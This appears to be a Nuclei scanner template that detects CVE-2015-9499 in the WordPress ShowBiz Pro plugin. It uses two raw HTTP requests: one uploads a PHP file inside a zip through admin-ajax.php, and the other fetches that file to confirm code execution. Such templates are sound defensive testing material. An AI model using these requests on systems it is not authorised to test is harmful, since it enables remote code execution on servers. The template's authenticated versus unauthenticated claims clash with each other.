id: CVE-2015-9499 info: name: WordPress ShowBiz Pro <= 1.7.1 - Authenticated Arbitrary File Upload to RCE author: iamnoooob,pdresearch severity: critical description: | The WordPress ShowBiz Pro plugin version <= 1.7.1 allows arbitrary PHP file upload via the `admin-ajax.php` endpoint.This leads to unauthenticated remote code execution. impact: | Attackers can upload and execute arbitrary PHP files without authentication, leading to complete server compromise and data breach. remediation: | Remove or disable the plugin immediately and update to a patched version if available. reference: - https://wpscan.com/vulnerability/1c8f1872-a699-464a-9c6b-f8a49ca22ecb/ - https://nvd.nist.gov/vuln/detail/CVE-2015-9499 - https://packetstormsecurity.com/files/132737/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2015-9499 cwe-id: CWE-434 epss-score: 0.14775 epss-percentile: 0.96251 cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: themepunch product: showbiz_pro framework: wordpress tags: cve,cve2015,wpscan,packetstorm,wp,wordpress,wp-plugin,showbiz,uplo,intrusive,vkev,vuln variables: marker: "{{randstr}}" b64marker: "{{base64(marker)}}" filename: "{{rand_base(5)}}" http: - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg ------WebKitFormBoundaryWJDMjlXCUnC1rnZg Content-Disposition: form-data; name="action" showbiz_ajax_action ------WebKitFormBoundaryWJDMjlXCUnC1rnZg Content-Disposition: form-data; name="client_action" update_plugin ------WebKitFormBoundaryWJDMjlXCUnC1rnZg Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip" Content-Type: application/zip {{zip('{{filename}}.php','')}} ------WebKitFormBoundaryWJDMjlXCUnC1rnZg-- matchers: - type: dsl dsl: - "status_code == 200" - "contains_all(body,'Update in progress...','wp-admin/admin.php?page=showbiz&view=sliders')" condition: and internal: true - raw: - | GET /wp-content/plugins/showbizpro/temp/update_extract/{{filename}}.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "status_code == 200" - "contains(body,'{{marker}}')" condition: and # digest: 4a0a00473045022045393cd1207913a1ec64a74391111d40c49b4e7e7142a44cf00e62f303360cf802210090bdeab3eeb8ecff26d9bdedab50499bec835dfddbdb6d418030ea3e71f36bcc:922c64590222798bb761d5b6d8e72950